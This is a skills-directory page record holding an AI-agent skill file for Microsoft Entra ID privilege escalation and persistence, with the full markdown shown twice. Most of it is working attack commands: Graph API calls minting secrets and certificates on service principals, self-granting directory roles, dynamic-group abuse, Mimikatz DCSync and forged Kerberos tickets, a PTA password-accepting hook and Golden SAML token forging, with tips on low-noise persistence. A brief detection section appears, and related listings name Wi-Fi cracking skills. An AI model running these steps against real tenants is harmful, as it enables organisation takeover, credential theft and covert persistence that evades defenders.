[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFB54G9CTK6F6ZQP9QWDNJ":3,"skill-same:01M7DFB54G9CTK6F6ZQP9QWDNJ":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFB54G9CTK6F6ZQP9QWDNJ","entra-privesc",null,"Entra ID privilege escalation + persistence — app role\u002Fowner abuse, service-principal credential addition, dynamic group membership abuse, Administrative Unit role assignment, hybrid identity attacks (Connect, PHS, PTA, Seamless SSO, Golden SAML), Graph API privesc paths.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fentra-privesc\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: entra-privesc\ndescription: \"Entra ID privilege escalation + persistence — app role\u002Fowner abuse, service-principal credential addition, dynamic group membership abuse, Administrative Unit role assignment, hybrid identity attacks (Connect, PHS, PTA, Seamless SSO, Golden SAML), Graph API privesc paths.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"entra azure ad privilege escalation persistence app owner service principal credential addition dynamic group administrative unit hybrid aad connect phs pta seamless sso golden saml graph api privesc\"\n  subdomain: cloud\n  tags: azure, entra-id, privesc, persistence, hybrid-identity\n  mitre_attack: T1098, T1098.001, T1098.003, T1556.007, T1606.002, T1078.004\n---\n\n# Entra Privilege Escalation & Persistence\n\nYou have a token with non-trivial permissions in Entra ID. Walk the escalation graph to Global Admin \u002F org takeover, then plant persistence that survives password resets.\n\n## Phase 0: Map current privileges\n\n```bash\nTOKEN=\u003CMS_GRAPH_TOKEN>\n# Roles I directly hold\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmemberOf?\\$select=displayName,roleTemplateId\" | jq .\n\n# Apps I OWN (owners can mint credentials)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FownedObjects\" | jq '.value[]|{type:.[\"@odata.type\"],id,name:.displayName}'\n\n# Groups where I'm an owner (can add members)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FownedObjects?\\$filter=isof('microsoft.graph.group')\"\n```\n\n## Phase 1: App role \u002F app owner abuse\n\n### Owner → credential addition → app's directory roles\n```bash\nAPP_OBJ=\u003CAPP_OBJECT_ID>     # not appId — objectId of the Application\n# Mint a 2-year client secret on an app you OWN:\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fapplications\u002F${APP_OBJ}\u002FaddPassword\" \\\n  -d '{\"passwordCredential\":{\"displayName\":\"backup-cred\",\"endDateTime\":\"2027-01-01T00:00:00Z\"}}'\n# Returned secretText -> auth as the service principal:\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F\u003CTENANT>\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CAPP_ID>&client_secret=\u003CSECRET>&grant_type=client_credentials&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n```\n\nIf the target SP has any of these app roles, you have GA-equivalent:\n- `RoleManagement.ReadWrite.Directory`\n- `Application.ReadWrite.All`\n- `AppRoleAssignment.ReadWrite.All`\n- `Directory.ReadWrite.All` (limited but powerful)\n\n### Adding a high-priv app role to your SP\n```bash\n# Find the Microsoft Graph SP objectId and the role:\nGRAPH_SP=$(curl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals?\\$filter=appId eq '00000003-0000-0000-c000-000000000000'\" | jq -r '.value[0].id')\nROLE_ID=$(curl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F${GRAPH_SP}\" \\\n  | jq -r '.appRoles[]|select(.value==\"RoleManagement.ReadWrite.Directory\").id')\n# Grant the role to your SP (requires Application.ReadWrite.All today):\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F\u003CMY_SP>\u002FappRoleAssignments\" \\\n  -d \"{\\\"principalId\\\":\\\"\u003CMY_SP>\\\",\\\"resourceId\\\":\\\"${GRAPH_SP}\\\",\\\"appRoleId\\\":\\\"${ROLE_ID}\\\"}\"\n```\n\n## Phase 2: Service principal credential addition (persistence)\n\nExisting SP with high privs (e.g. tenant-installed Microsoft 365 management app) → add a credential. Survives the original user's password reset.\n\n```bash\nSP_ID=\u003CTARGET_SP_OBJECT_ID>\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F${SP_ID}\u002FaddPassword\" \\\n  -d '{\"passwordCredential\":{\"displayName\":\"cert-rotation\",\"endDateTime\":\"2027-12-31T00:00:00Z\"}}'\n# Auth as that SP indefinitely.\n```\n\nCertificate variant (less audited than secrets):\n```bash\nopenssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 730 -out c.pem -subj \"\u002FCN=evt\"\nCERT_B64=$(openssl x509 -in c.pem -outform DER | base64 -w0)\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F${SP_ID}\u002FaddKey\" \\\n  -d \"{\\\"keyCredential\\\":{\\\"type\\\":\\\"AsymmetricX509Cert\\\",\\\"usage\\\":\\\"Verify\\\",\\\"key\\\":\\\"${CERT_B64}\\\"}}\"\n```\n\n## Phase 3: Dynamic group abuse\n\nDynamic groups grant role membership based on user attributes. Some attributes are user-editable (e.g. `otherMails`, `state`, `department`).\n\n```bash\n# Find dynamic groups bound to privileged roles:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fgroups?\\$filter=groupTypes\u002Fany(c:c eq 'DynamicMembership')\" \\\n  | jq '.value[]|{n:.displayName,rule:.membershipRule}'\n# Look for: (user.otherMails -contains \"admin@\") or (user.department -eq \"IT\")\n# If you control any \"self-service\" attribute that matches the rule, write it:\ncurl -s -X PATCH -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\" \\\n  -d '{\"otherMails\":[\"admin@\u003CTARGET>\"]}'\n# Recompute happens automatically; you land in the privileged group within minutes.\n```\n\n## Phase 4: Administrative Unit (AU) abuse\n\nAU-scoped admins (e.g. `User Administrator` over `Sales AU`) can reset passwords for users in that AU — including any user whose group\u002Frole is itself AU-administered. Chains:\n\n```bash\n# List AUs and their scoped role assignments:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002Fdirectory\u002FadministrativeUnits?\\$expand=members\" | jq .\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002FroleManagement\u002Fdirectory\u002FroleAssignments?\\$filter=directoryScopeId ne '\u002F'\" | jq .\n# AU UserAdmin → reset password of an AU-member who is a global Application Administrator → mint SP cred → Graph privesc.\n```\n\n## Phase 5: Hybrid identity attacks\n\n### AAD Connect → MSOL DCSync\nOn the AAD Connect server (Windows): the `MSOL_xxxxxxx` account has DCSync rights on the on-prem domain. Extract via AADInternals:\n\n```powershell\n# As SYSTEM on AAD Connect host:\nGet-AADIntSyncCredentials       # exposes MSOL plaintext password + Sync_xxx cloud account\n# Then on-prem DCSync:\nInvoke-Mimikatz -Command '\"lsadump::dcsync \u002Fdomain:\u003CDOMAIN> \u002Fuser:krbtgt\"'\n```\n\n### Pass-Through Authentication (PTA) skeleton key\nPTA agent installed on a server validates passwords against on-prem AD. Hooking the agent's `AzureADConnectAuthenticationAgentService.exe` → accept any password for any user:\n\n```powershell\nInstall-AADIntPTASpy             # AADInternals — DLL inject; logs all PTA creds + accepts any password\n```\n\nDetected by AV but trivial PoC for environments without EDR on AAD Connect host.\n\n### Password Hash Sync (PHS) abuse\nWith cloud-side `Sync_\u003Ctenant>` account creds (extractable by Get-AADIntSyncCredentials), inject arbitrary NTLM hashes for cloud-only users:\n\n```powershell\nSet-AADIntUserPassword -SourceAnchor \u003CBASE64_IMMUTABLEID> -Hash \u003CNTLM_HASH> -Verbose\n```\n\n### Seamless SSO Silver Ticket → arbitrary cloud user\nSeamless SSO uses the on-prem `AZUREADSSOACC$` computer account's NTLM hash to sign Kerberos tickets. With that hash (DCSync), forge a TGS for any user → cloud auth without password:\n\n```powershell\nInvoke-Mimikatz -Command '\"kerberos::golden \u002Fuser:\u003CTARGET_UPN_PREFIX> \u002Fsid:\u003CDOMAIN_SID> \u002Ftarget:aadg.windows.net.nsatc.net \u002Fservice:HTTP \u002Frc4:\u003CAZUREADSSOACC_HASH> \u002Fptt\"'\n# Then browse to https:\u002F\u002Flogin.microsoftonline.com → seamless auth as \u003CTARGET_UPN_PREFIX>@\u003CTARGET>.\n```\n\n### Golden SAML\nFor federated tenants (ADFS), with the ADFS token-signing certificate:\n\n```powershell\nExport-AADIntADFSSigningCertificate     # AADInternals — pulls cert from ADFS host\nNew-AADIntSAMLToken -ImmutableID \u003CBASE64> -Issuer http:\u002F\u002F\u003CADFS>\u002Fadfs\u002Fservices\u002Ftrust\u002F -PfxFileName cert.pfx -PfxPassword '' -UseBuiltInCertificate\n# Mint SAML for ANY user in the federated domain, indefinitely. No password, no MFA, no logs at ADFS (forged offline).\n```\n\n## Phase 6: Graph API privesc primitives\n\n| Permission | Path to GA |\n|---|---|\n| `RoleManagement.ReadWrite.Directory` | Direct: assign self Global Admin role |\n| `Application.ReadWrite.All` | Mint cred on a high-priv SP → that SP's roles |\n| `AppRoleAssignment.ReadWrite.All` | Grant your own SP `RoleManagement.ReadWrite.Directory` |\n| `Directory.ReadWrite.All` | Reset non-admin passwords + group membership changes |\n| `User.ReadWrite.All` + group-owner of role-assignable group | Add self to role-assignable group |\n| `Policy.ReadWrite.ConditionalAccess` | Disable CA on the BG account, then go quiet |\n| `Domain.ReadWrite.All` | Add an attacker-owned federated domain → impersonate any user via Golden-SAML-style trust |\n\n## Chains\n- **Phished low-priv user owns one app with `Application.ReadWrite.All` → mint SP cred → grant self `RoleManagement.RW` → assign self Global Admin**.\n- **Dynamic-group rule on `otherMails` → self-PATCH → land in role-assignable group → GA in minutes**.\n- **AU UserAdmin → reset AU-member who is Application Admin → SP cred persistence**.\n- **AAD Connect compromise → MSOL DCSync → on-prem domain + AzureADSSOACC$ hash → cloud user impersonation**.\n- **ADFS token-signing cert → Golden SAML → permanent cloud identity bypass** (survives password resets, MFA, CA — only domain re-federation kills it).\n\n## Tools\n- **AADInternals** — sync creds, PTA Spy, Golden SAML, hash injection.\n- **ROADtools roadtx** — Graph-side enum + token operations.\n- **AzureHound** — BloodHound for Entra; finds privesc edges automatically.\n- **MicroBurst** — Azure-focused PowerShell offensive toolkit.\n- **GraphRunner** — interactive Graph operator.\n- **adconnectdump** — extract MSOL credentials non-interactively.\n\n## Detection signatures\n- Audit log `Add service principal credentials` \u002F `Update application – Certificates and secrets management` from non-Identity admin = persistence flag.\n- Role assignment outside PIM (`Add member to role` without `Add eligible member`) = privesc indicator.\n- New federated domain (`Set domain authentication`) is a critical-tier alert in Sentinel — used for Golden SAML setup.\n- Dynamic group rule re-evaluation log + corresponding `Update user` event on attacker-controlled attribute = correlation signature.\n- AAD Connect host: any non-msol process touching `LSASS` or `MIIServer.exe` = MSOL extraction.\n\n## Decision gate\n- Have `Application.ReadWrite.All` or own an app with it → take the SP cred → GA path is 2 API calls.\n- AAD Connect host accessible → MSOL + AzureADSSOACC$ unlocks both on-prem and cloud halves; prefer this for long-term.\n- Federated tenant + ADFS host accessible → Golden SAML is the cleanest persistence (offline, no API calls until use).\n- No clear path → drop a credential on a low-noise SP for persistence and revisit after more recon (`entra-enum`).\n","# Entra Privilege Escalation & Persistence\n\nYou have a token with non-trivial permissions in Entra ID. Walk the escalation graph to Global Admin \u002F org takeover, then plant persistence that survives password resets.\n\n## Phase 0: Map current privileges\n\n```bash\nTOKEN=\u003CMS_GRAPH_TOKEN>\n# Roles I directly hold\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmemberOf?\\$select=displayName,roleTemplateId\" | jq .\n\n# Apps I OWN (owners can mint credentials)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FownedObjects\" | jq '.value[]|{type:.[\"@odata.type\"],id,name:.displayName}'\n\n# Groups where I'm an owner (can add members)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FownedObjects?\\$filter=isof('microsoft.graph.group')\"\n```\n\n## Phase 1: App role \u002F app owner abuse\n\n### Owner → credential addition → app's directory roles\n```bash\nAPP_OBJ=\u003CAPP_OBJECT_ID>     # not appId — objectId of the Application\n# Mint a 2-year client secret on an app you OWN:\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fapplications\u002F${APP_OBJ}\u002FaddPassword\" \\\n  -d '{\"passwordCredential\":{\"displayName\":\"backup-cred\",\"endDateTime\":\"2027-01-01T00:00:00Z\"}}'\n# Returned secretText -> auth as the service principal:\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F\u003CTENANT>\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CAPP_ID>&client_secret=\u003CSECRET>&grant_type=client_credentials&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n```\n\nIf the target SP has any of these app roles, you have GA-equivalent:\n- `RoleManagement.ReadWrite.Directory`\n- `Application.ReadWrite.All`\n- `AppRoleAssignment.ReadWrite.All`\n- `Directory.ReadWrite.All` (limited but powerful)\n\n### Adding a high-priv app role to your SP\n```bash\n# Find the Microsoft Graph SP objectId and the role:\nGRAPH_SP=$(curl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals?\\$filter=appId eq '00000003-0000-0000-c000-000000000000'\" | jq -r '.value[0].id')\nROLE_ID=$(curl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F${GRAPH_SP}\" \\\n  | jq -r '.appRoles[]|select(.value==\"RoleManagement.ReadWrite.Directory\").id')\n# Grant the role to your SP (requires Application.ReadWrite.All today):\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F\u003CMY_SP>\u002FappRoleAssignments\" \\\n  -d \"{\\\"principalId\\\":\\\"\u003CMY_SP>\\\",\\\"resourceId\\\":\\\"${GRAPH_SP}\\\",\\\"appRoleId\\\":\\\"${ROLE_ID}\\\"}\"\n```\n\n## Phase 2: Service principal credential addition (persistence)\n\nExisting SP with high privs (e.g. tenant-installed Microsoft 365 management app) → add a credential. Survives the original user's password reset.\n\n```bash\nSP_ID=\u003CTARGET_SP_OBJECT_ID>\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F${SP_ID}\u002FaddPassword\" \\\n  -d '{\"passwordCredential\":{\"displayName\":\"cert-rotation\",\"endDateTime\":\"2027-12-31T00:00:00Z\"}}'\n# Auth as that SP indefinitely.\n```\n\nCertificate variant (less audited than secrets):\n```bash\nopenssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 730 -out c.pem -subj \"\u002FCN=evt\"\nCERT_B64=$(openssl x509 -in c.pem -outform DER | base64 -w0)\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FservicePrincipals\u002F${SP_ID}\u002FaddKey\" \\\n  -d \"{\\\"keyCredential\\\":{\\\"type\\\":\\\"AsymmetricX509Cert\\\",\\\"usage\\\":\\\"Verify\\\",\\\"key\\\":\\\"${CERT_B64}\\\"}}\"\n```\n\n## Phase 3: Dynamic group abuse\n\nDynamic groups grant role membership based on user attributes. Some attributes are user-editable (e.g. `otherMails`, `state`, `department`).\n\n```bash\n# Find dynamic groups bound to privileged roles:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fgroups?\\$filter=groupTypes\u002Fany(c:c eq 'DynamicMembership')\" \\\n  | jq '.value[]|{n:.displayName,rule:.membershipRule}'\n# Look for: (user.otherMails -contains \"admin@\") or (user.department -eq \"IT\")\n# If you control any \"self-service\" attribute that matches the rule, write it:\ncurl -s -X PATCH -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application\u002Fjson\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\" \\\n  -d '{\"otherMails\":[\"admin@\u003CTARGET>\"]}'\n# Recompute happens automatically; you land in the privileged group within minutes.\n```\n\n## Phase 4: Administrative Unit (AU) abuse\n\nAU-scoped admins (e.g. `User Administrator` over `Sales AU`) can reset passwords for users in that AU — including any user whose group\u002Frole is itself AU-administered. Chains:\n\n```bash\n# List AUs and their scoped role assignments:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002Fdirectory\u002FadministrativeUnits?\\$expand=members\" | jq .\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002FroleManagement\u002Fdirectory\u002FroleAssignments?\\$filter=directoryScopeId ne '\u002F'\" | jq .\n# AU UserAdmin → reset password of an AU-member who is a global Application Administrator → mint SP cred → Graph privesc.\n```\n\n## Phase 5: Hybrid identity attacks\n\n### AAD Connect → MSOL DCSync\nOn the AAD Connect server (Windows): the `MSOL_xxxxxxx` account has DCSync rights on the on-prem domain. Extract via AADInternals:\n\n```powershell\n# As SYSTEM on AAD Connect host:\nGet-AADIntSyncCredentials       # exposes MSOL plaintext password + Sync_xxx cloud account\n# Then on-prem DCSync:\nInvoke-Mimikatz -Command '\"lsadump::dcsync \u002Fdomain:\u003CDOMAIN> \u002Fuser:krbtgt\"'\n```\n\n### Pass-Through Authentication (PTA) skeleton key\nPTA agent installed on a server validates passwords against on-prem AD. Hooking the agent's `AzureADConnectAuthenticationAgentService.exe` → accept any password for any user:\n\n```powershell\nInstall-AADIntPTASpy             # AADInternals — DLL inject; logs all PTA creds + accepts any password\n```\n\nDetected by AV but trivial PoC for environments without EDR on AAD Connect host.\n\n### Password Hash Sync (PHS) abuse\nWith cloud-side `Sync_\u003Ctenant>` account creds (extractable by Get-AADIntSyncCredentials), inject arbitrary NTLM hashes for cloud-only users:\n\n```powershell\nSet-AADIntUserPassword -SourceAnchor \u003CBASE64_IMMUTABLEID> -Hash \u003CNTLM_HASH> -Verbose\n```\n\n### Seamless SSO Silver Ticket → arbitrary cloud user\nSeamless SSO uses the on-prem `AZUREADSSOACC$` computer account's NTLM hash to sign Kerberos tickets. With that hash (DCSync), forge a TGS for any user → cloud auth without password:\n\n```powershell\nInvoke-Mimikatz -Command '\"kerberos::golden \u002Fuser:\u003CTARGET_UPN_PREFIX> \u002Fsid:\u003CDOMAIN_SID> \u002Ftarget:aadg.windows.net.nsatc.net \u002Fservice:HTTP \u002Frc4:\u003CAZUREADSSOACC_HASH> \u002Fptt\"'\n# Then browse to https:\u002F\u002Flogin.microsoftonline.com → seamless auth as \u003CTARGET_UPN_PREFIX>@\u003CTARGET>.\n```\n\n### Golden SAML\nFor federated tenants (ADFS), with the ADFS token-signing certificate:\n\n```powershell\nExport-AADIntADFSSigningCertificate     # AADInternals — pulls cert from ADFS host\nNew-AADIntSAMLToken -ImmutableID \u003CBASE64> -Issuer http:\u002F\u002F\u003CADFS>\u002Fadfs\u002Fservices\u002Ftrust\u002F -PfxFileName cert.pfx -PfxPassword '' -UseBuiltInCertificate\n# Mint SAML for ANY user in the federated domain, indefinitely. No password, no MFA, no logs at ADFS (forged offline).\n```\n\n## Phase 6: Graph API privesc primitives\n\n| Permission | Path to GA |\n|---|---|\n| `RoleManagement.ReadWrite.Directory` | Direct: assign self Global Admin role |\n| `Application.ReadWrite.All` | Mint cred on a high-priv SP → that SP's roles |\n| `AppRoleAssignment.ReadWrite.All` | Grant your own SP `RoleManagement.ReadWrite.Directory` |\n| `Directory.ReadWrite.All` | Reset non-admin passwords + group membership changes |\n| `User.ReadWrite.All` + group-owner of role-assignable group | Add self to role-assignable group |\n| `Policy.ReadWrite.ConditionalAccess` | Disable CA on the BG account, then go quiet |\n| `Domain.ReadWrite.All` | Add an attacker-owned federated domain → impersonate any user via Golden-SAML-style trust |\n\n## Chains\n- **Phished low-priv user owns one app with `Application.ReadWrite.All` → mint SP cred → grant self `RoleManagement.RW` → assign self Global Admin**.\n- **Dynamic-group rule on `otherMails` → self-PATCH → land in role-assignable group → GA in minutes**.\n- **AU UserAdmin → reset AU-member who is Application Admin → SP cred persistence**.\n- **AAD Connect compromise → MSOL DCSync → on-prem domain + AzureADSSOACC$ hash → cloud user impersonation**.\n- **ADFS token-signing cert → Golden SAML → permanent cloud identity bypass** (survives password resets, MFA, CA — only domain re-federation kills it).\n\n## Tools\n- **AADInternals** — sync creds, PTA Spy, Golden SAML, hash injection.\n- **ROADtools roadtx** — Graph-side enum + token operations.\n- **AzureHound** — BloodHound for Entra; finds privesc edges automatically.\n- **MicroBurst** — Azure-focused PowerShell offensive toolkit.\n- **GraphRunner** — interactive Graph operator.\n- **adconnectdump** — extract MSOL credentials non-interactively.\n\n## Detection signatures\n- Audit log `Add service principal credentials` \u002F `Update application – Certificates and secrets management` from non-Identity admin = persistence flag.\n- Role assignment outside PIM (`Add member to role` without `Add eligible member`) = privesc indicator.\n- New federated domain (`Set domain authentication`) is a critical-tier alert in Sentinel — used for Golden SAML setup.\n- Dynamic group rule re-evaluation log + corresponding `Update user` event on attacker-controlled attribute = correlation signature.\n- AAD Connect host: any non-msol process touching `LSASS` or `MIIServer.exe` = MSOL extraction.\n\n## Decision gate\n- Have `Application.ReadWrite.All` or own an app with it → take the SP cred → GA path is 2 API calls.\n- AAD Connect host accessible → MSOL + AzureADSSOACC$ unlocks both on-prem and cloud halves; prefer this for long-term.\n- Federated tenant + ADFS host accessible → Golden SAML is the cleanest persistence (offline, no API calls until use).\n- No clear path → drop a credential on a low-noise SP for persistence and revisit after more recon (`entra-enum`).\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"azure, entra-id, privesc, persistence, hybrid-identity","cloud","entra azure ad privilege escalation persistence app owner service principal credential addition dynamic group administrative unit hybrid aad connect phs pta seamless sso golden saml graph api privesc","T1098, T1098.001, T1098.003, T1556.007, T1606.002, T1078.004","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fentra-privesc","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill entra-privesc",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill entra-privesc",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill entra-privesc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fentra-privesc\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK 